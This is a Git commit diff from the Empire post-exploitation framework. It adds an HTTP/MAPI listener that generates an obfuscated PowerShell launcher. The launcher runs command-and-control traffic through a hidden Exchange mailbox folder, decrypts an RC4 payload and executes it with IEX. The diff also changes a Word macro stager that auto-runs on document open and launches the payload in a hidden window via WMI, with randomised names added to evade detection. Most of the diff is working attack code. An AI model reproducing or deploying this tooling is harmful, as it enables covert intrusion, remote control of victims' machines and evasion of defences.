Merge branch 'dev' into restfulapi_fixes

mdns
byt3bl33d3r 2017-05-30 22:07:20 -06:00 committed by GitHub
commit 425cb7fedc
9 changed files with 1453 additions and 599 deletions

1
.gitignore vendored
View File

@ -8,3 +8,4 @@ downloads/*
LastTask*
setup/xar*
setup/bomutils/*
.venv

Binary file not shown.

File diff suppressed because it is too large Load Diff

67
empire
View File

@ -3,7 +3,7 @@
import sqlite3, argparse, sys, argparse, logging, json, string
import os, re, time, signal, copy, base64, pickle
from flask import Flask, request, jsonify, make_response, abort, url_for
from time import localtime, strftime
from time import localtime, strftime, sleep
from OpenSSL import SSL
from Crypto.Random import random
@ -140,11 +140,11 @@ def get_permanent_token(conn):
#
####################################################################
def start_restful_api(startEmpire=False, suppress=False, username=None, password=None, port=1337):
def start_restful_api(empireMenu, suppress=False, username=None, password=None, port=1337):
"""
Kick off the RESTful API with the given parameters.
startEmpire - start a complete Empire instance in the backend as well
empireMenu - Main empire menu object
suppress - suppress most console output
username - optional username to use for the API, otherwise pulls from the empire.db config
password - optional password to use for the API, otherwise pulls from the empire.db config
@ -155,6 +155,8 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
conn = database_connect()
main = empireMenu
global serverExitCommand
# if a username/password were not supplied, use the creds stored in the db
@ -171,28 +173,8 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
else:
execute_db_query(conn, "UPDATE config SET api_password=?", password)
class Namespace:
"""
Temporary namespace to create the followin base argument object.
"""
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
# instantiate an Empire instance in case we need to interact with stagers or listeners
args = Namespace(debug=None, listener=None, stager=None, stager_options=None, version=False)
print ''
if startEmpire:
# if we want to start a full-running empire instance
print " * Starting a full Empire instance"
main = empire.MainMenu(args=args)
else:
# if we just want the RESTful API, i.e. no listener/etc. startup
main = empire.MainMenu(args=args, restAPI=True)
print " * Starting Empire RESTful API on port: %s" %(port)
# refresh the token for the RESTful API
@ -211,7 +193,6 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
# suppress all stdout and don't initiate the main cmdloop
sys.stdout = open(os.devnull, 'w')
# validate API token before every request except for the login URI
@app.before_request
def check_token():
@ -869,8 +850,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
for result in agentResults:
[resultid, agent, data] = result
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
return jsonify({'results': agentTaskResults})
@ -1194,7 +1176,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
if conn:
conn.close()
if startEmpire:
if suppress:
print " * Shutting down the Empire instance"
main.shutdown()
@ -1233,15 +1215,16 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
signal.signal(signal.SIGINT, signal.default_int_handler)
sys.exit()
signal.signal(signal.SIGINT, signal_handler)
try:
signal.signal(signal.SIGINT, signal_handler)
except ValueError:
pass
# wrap the Flask connection in SSL and start it
context = ('./data/empire.pem', './data/empire.pem')
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
@ -1257,7 +1240,7 @@ if __name__ == '__main__':
restGroup = parser.add_argument_group('RESTful API Options')
launchGroup = restGroup.add_mutually_exclusive_group()
launchGroup.add_argument('--rest', action='store_true', help='Run the Empire RESTful API.')
launchGroup.add_argument('--rest', action='store_true', help='Run Empire and the RESTful API.')
launchGroup.add_argument('--headless', action='store_true', help='Run Empire and the RESTful API headless without the usual interface.')
restGroup.add_argument('--restport', type=int, nargs=1, help='Port to run the Empire RESTful API on.')
restGroup.add_argument('--username', nargs=1, help='Start the RESTful API with the specified username instead of pulling from empire.db')
@ -1274,20 +1257,30 @@ if __name__ == '__main__':
print empire.VERSION
elif args.rest:
# start just the RESTful API
while serverExitCommand == 'restart':
try:
start_restful_api(startEmpire=False, suppress=False, username=args.username, password=args.password, port=args.restport)
except SystemExit as e:
pass
# start an Empire instance and RESTful API
main = empire.MainMenu(args=args)
def thread_api(empireMenu):
while serverExitCommand == 'restart':
try:
start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password, port=args.restport)
except SystemExit as e:
pass
thread = helpers.KThread(target=thread_api, args=(main,))
thread.daemon = True
thread.start()
sleep(2)
main.cmdloop()
elif args.headless:
# start an Empire instance and RESTful API and suppress output
main = empire.MainMenu(args=args)
while serverExitCommand == 'restart':
try:
start_restful_api(startEmpire=True, suppress=True, username=args.username, password=args.password, port=args.restport)
start_restful_api(empireMenu=main, suppress=True, username=args.username, password=args.password, port=args.restport)
except SystemExit as e:
pass
else:
# normal execution
main = empire.MainMenu(args=args)

View File

@ -60,7 +60,7 @@ class MainMenu(cmd.Cmd):
The main class used by Empire to drive the 'main' menu
displayed when Empire starts.
"""
def __init__(self, args=None, restAPI=False):
def __init__(self, args=None):
cmd.Cmd.__init__(self)

626
lib/listeners/http_mapi.py Normal file
View File

@ -0,0 +1,626 @@
import logging
import base64
import random
import os
import time
import copy
from pydispatch import dispatcher
from flask import Flask, request, make_response
# Empire imports
from lib.common import helpers
from lib.common import agents
from lib.common import encryption
from lib.common import packets
from lib.common import messages
class Listener:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'HTTP[S] + MAPI',
'Author': ['@harmj0y','@_staaldraad'],
'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'),
'Category' : ('client_server'),
'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal']
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Name' : {
'Description' : 'Name for the listener.',
'Required' : True,
'Value' : 'mapi'
},
'Host' : {
'Description' : 'Hostname/IP for staging.',
'Required' : True,
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
},
'BindIP' : {
'Description' : 'The IP to bind to on the control server.',
'Required' : True,
'Value' : '0.0.0.0'
},
'Port' : {
'Description' : 'Port for the listener.',
'Required' : True,
'Value' : 80
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
},
'DefaultDelay' : {
'Description' : 'Agent delay/reach back interval (in seconds).',
'Required' : True,
'Value' : 0
},
'DefaultJitter' : {
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
'Required' : True,
'Value' : 0.0
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : 60
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
},
'CertPath' : {
'Description' : 'Certificate path for https listeners.',
'Required' : False,
'Value' : ''
},
'KillDate' : {
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
'Required' : False,
'Value' : ''
},
'WorkingHours' : {
'Description' : 'Hours for the agent to operate (09:00-17:00).',
'Required' : False,
'Value' : ''
},
'ServerVersion' : {
'Description' : 'TServer header for the control server.',
'Required' : True,
'Value' : 'Microsoft-IIS/7.5'
},
'Folder' : {
'Description' : 'The hidden folder in Exchange to user',
'Required' : True,
'Value' : 'Liniaal'
},
'Email' : {
'Description' : 'The email address of our target',
'Required' : False,
'Value' : ''
}
}
# required:
self.mainMenu = mainMenu
self.threads = {}
# optional/specific for this module
self.app = None
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
# set the default staging key to the controller db default
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
def default_response(self):
"""
Returns a default HTTP server page.
"""
page = "<html><body><h1>It works!</h1>"
page += "<p>This is the default web page for this server.</p>"
page += "<p>The web server software is running but no content has been added, yet.</p>"
page += "</body></html>"
return page
def validate_options(self):
"""
Validate all options for this listener.
"""
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
for key in self.options:
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
print helpers.color("[!] Option \"%s\" is required." % (key))
return False
return True
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# @mattifestation's AMSI bypass
stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
stager += "$outlook = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
stager += helpers.randomize_capitalization("While ($break -ne $True){")
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
# base64 encode the stager and return it
if encode:
return helpers.powershell_launcher(stager)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
"""
Generate the stager code needed for communications with this listener.
"""
#if not language:
# print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
# return None
profile = listenerOptions['DefaultProfile']['Value']
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
stagingKey = listenerOptions['StagingKey']['Value']
host = listenerOptions['Host']['Value']
folder = listenerOptions['Folder']['Value']
if language.lower() == 'powershell':
# read in the stager base
f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
stager = f.read()
f.close()
# make sure the server ends with "/"
if not host.endswith("/"):
host += "/"
# patch the server and key information
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
stager = stager.replace('REPLACE_FOLDER', folder)
randomizedStager = ''
for line in stager.split("\n"):
line = line.strip()
# skip commented line
if not line.startswith("#"):
# randomize capitalization of lines without quoted strings
if "\"" not in line:
randomizedStager += helpers.randomize_capitalization(line)
else:
randomizedStager += line
# base64 encode the stager and return it
if encode:
return helpers.enc_powershell(randomizedStager)
elif encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
else:
# otherwise just return the case-randomized stager
return randomizedStager
else:
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_agent(self, listenerOptions, language=None):
"""
Generate the full agent code needed for communications with this listener.
"""
if not language:
print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!')
return None
language = language.lower()
delay = listenerOptions['DefaultDelay']['Value']
jitter = listenerOptions['DefaultJitter']['Value']
profile = listenerOptions['DefaultProfile']['Value']
lostLimit = listenerOptions['DefaultLostLimit']['Value']
killDate = listenerOptions['KillDate']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
folder = listenerOptions['Folder']['Value']
b64DefaultResponse = base64.b64encode(self.default_response())
if language == 'powershell':
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
code = f.read()
f.close()
# patch in the comms methods
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
commsCode = commsCode.replace('REPLACE_FOLDER',folder)
code = code.replace('REPLACE_COMMS', commsCode)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
if workingHours != "":
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
return code
else:
print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
""" % (listenerOptions['Host']['Value'])
getTask = """
function script:Get-Task {
try {
# meta 'TASKING_REQUEST' : 4
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random;
$mail = $outlook.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
$mail.save() | out-null;
$mail.Move($fld)| out-null;
# keep checking to see if there is response
$break = $False;
[byte[]]$b = @();
While ($break -ne $True){
foreach ($item in $fld.Items) {
if($item.Subject -eq "mailpirein"){
$item.HTMLBody | out-null;
if($item.Body[$item.Body.Length-1] -ne '-'){
$traw = $item.Body;
$item.Delete();
$break = $True;
$b = [System.Convert]::FromBase64String($traw);
}
}
}
Start-Sleep -s 1;
}
return ,$b
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
"""
sendMessage = """
function script:Send-Message {
param($Packets)
if($Packets) {
# build and encrypt the response packet
$EncBytes = Encrypt-Bytes $Packets;
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5;
# $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket);
$RoutingPacketp = [Convert]::ToBase64String($RoutingPacket)
try {
# get a random posting URI
$taskURI = $Script:TaskURIs | Get-Random;
$mail = $outlook.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp;
$mail.save() | out-null;
$mail.Move($fld) | out-null;
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
}
"""
return updateServers + getTask + sendMessage
else:
print helpers.color("[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module.")
else:
print helpers.color('[!] listeners/http_mapi generate_comms(): no language specified!')
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up the Flask server.
"""
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
# suppress the normal Flask output
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
bindIP = listenerOptions['BindIP']['Value']
host = listenerOptions['Host']['Value']
port = listenerOptions['Port']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
app = Flask(__name__)
self.app = app
@app.before_request
def check_ip():
"""
Before every request, check if the IP address is allowed.
"""
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http")
return make_response(self.default_response(), 200)
@app.after_request
def change_header(response):
"Modify the default server version in the response."
response.headers['Server'] = listenerOptions['ServerVersion']['Value']
return response
@app.route('/<path:request_uri>', methods=['GET'])
def handle_get(request_uri):
"""
Handle an agent GET request.
This is used during the first step of the staging process,
and when the agent requests taskings.
"""
clientIP = request.remote_addr
dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http')
routingPacket = None
cookie = request.headers.get('Cookie')
if cookie and cookie != '':
try:
# see if we can extract the 'routing packet' from the specified cookie location
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
if 'session' in cookie:
cookieParts = cookie.split(';')
for part in cookieParts:
if part.startswith('session'):
base64RoutingPacket = part[part.find('=')+1:]
# decode the routing packet base64 value in the cookie
routingPacket = base64.b64decode(base64RoutingPacket)
except Exception as e:
routingPacket = None
pass
if routingPacket:
# parse the routing packet and process the results
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP)
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
if results:
if results == 'STAGE0':
# handle_agent_data() signals that the listener should return the stager.ps1 code
# step 2 of negotiation -> return stager.ps1 (stage 1)
dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http')
stage = self.generate_stager(language=language, listenerOptions=listenerOptions)
return make_response(stage, 200)
elif results.startswith('ERROR:'):
dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http')
if 'not in cache' in results:
# signal the client to restage
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
return make_response(self.default_response(), 401)
else:
return make_response(self.default_response(), 200)
else:
# actual taskings
dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http')
return make_response(results, 200)
else:
# dispatcher.send("[!] Results are None...", sender='listeners/http')
return make_response(self.default_response(), 200)
else:
return make_response(self.default_response(), 200)
else:
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http')
return make_response(self.default_response(), 200)
@app.route('/<path:request_uri>', methods=['POST'])
def handle_post(request_uri):
"""
Handle an agent POST request.
"""
stagingKey = listenerOptions['StagingKey']['Value']
clientIP = request.remote_addr
# the routing packet should be at the front of the binary request.data
# NOTE: this can also go into a cookie/etc.
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP)
#print dataResults
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
if results:
if results.startswith('STAGE2'):
# TODO: document the exact results structure returned
sessionID = results.split(' ')[1].strip()
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
# TODO: wrap ^ in a routing packet?
return make_response(encryptedAgent, 200)
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http')
return make_response(self.default_response(), 200)
elif results == 'VALID':
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http')
return make_response(self.default_response(), 200)
else:
return make_response(results, 200)
else:
return make_response(self.default_response(), 200)
else:
return make_response(self.default_response(), 200)
try:
certPath = listenerOptions['CertPath']['Value']
host = listenerOptions['Host']['Value']
if certPath.strip() != '' and host.startswith('https'):
context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath))
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
else:
app.run(host=bindIP, port=int(port), threaded=True)
except Exception as e:
print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http')
def start(self, name=''):
"""
Start a threaded instance of self.start_server() and store it in the
self.threads dictionary keyed by the listener name.
"""
listenerOptions = self.options
if name and name != '':
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(1)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
else:
name = listenerOptions['Name']['Value']
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(1)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
def shutdown(self, name=''):
"""
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
if name and name != '':
print helpers.color("[!] Killing listener '%s'" % (name))
self.threads[name].kill()
else:
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
self.threads[self.options['Name']['Value']].kill()

View File

@ -37,6 +37,21 @@ class Module:
'Required' : True,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Array of one or more computers to enumerate',
'Required' : False,
'Value' : ''
},
'ComputerADSpath' : {
'Description' : 'The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
'Required' : False,
'Value' : ''
},
'UserADSPath' : {
'Description' : 'The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
@ -48,7 +63,7 @@ class Module:
'Value' : ''
},
'CollectionMethod' : {
'Description' : "The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.",
'Description' : "The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.",
'Required' : True,
'Value' : 'Default'
},
@ -60,22 +75,42 @@ class Module:
'CSVFolder' : {
'Description' : 'The CSV folder to use for output, defaults to the current folder location.',
'Required' : False,
'Value' : ''
'Value' : '$(Get-Location)'
},
'CSVPrefix' : {
'Description' : 'A prefix for all CSV files.',
'Required' : False,
'Value' : ''
},
'URI' : {
'Description' : 'The BloodHound neo4j URL location (http://host:port/)',
'Required' : False,
'Value' : ''
},
'UserPass' : {
'Description' : 'The "user:password" for the BloodHound neo4j instance',
'Required' : False,
'Value' : ''
},
'GlobalCatalog' : {
'Description' : 'The global catalog location to resolve user memberships from.',
'Required' : False,
'Value' : ''
},
'SkipGCDeconfliction' : {
'Description' : 'Switch. Skip global catalog enumeration for session deconfliction',
'Required' : False,
'Value' : ''
},
'Threads' : {
'Description' : 'The maximum concurrent threads to execute.',
'Required' : True,
'Value' : '20'
},
'Throttle' : {
'Description' : 'The number of cypher queries to queue up for neo4j RESTful API ingestion.',
'Required' : True,
'Value' : '1000'
}
}

View File

@ -1,4 +1,6 @@
from lib.common import helpers
import random
import random, string
class Stager:
@ -80,29 +82,31 @@ class Stager:
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
Str = ''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
Method=''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
chunks = list(helpers.chunks(launcher, 50))
payload = "\tDim Str As String\n"
payload += "\tstr = \"" + str(chunks[0]) + "\"\n"
payload = "\tDim "+Str+" As String\n"
payload += "\t"+Str+" = \"" + str(chunks[0]) + "\"\n"
for chunk in chunks[1:]:
payload += "\tstr = str + \"" + str(chunk) + "\"\n"
payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n"
macro = "Sub Auto_Open()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro = "Sub AutoOpen()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro += "Sub Document_Open()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro += "Public Function Debugging() As Variant\n"
macro += "Public Function "+Method+"() As Variant\n"
macro += payload
macro += "\tConst HIDDEN_WINDOW = 0\n"
macro += "\tstrComputer = \".\"\n"
@ -111,7 +115,7 @@ class Stager:
macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
macro += "\tobjProcess.Create str, Null, objConfig, intProcessID\n"
macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n"
macro += "End Function\n"
return macro

View File

@ -172,7 +172,7 @@ c.execute('''CREATE TABLE "reporting" (
"time_stamp" text,
"taskID" integer,
FOREIGN KEY(taskID) REFERENCES results(id)
)''')
)''')
# commit the changes and close everything off
conn.commit()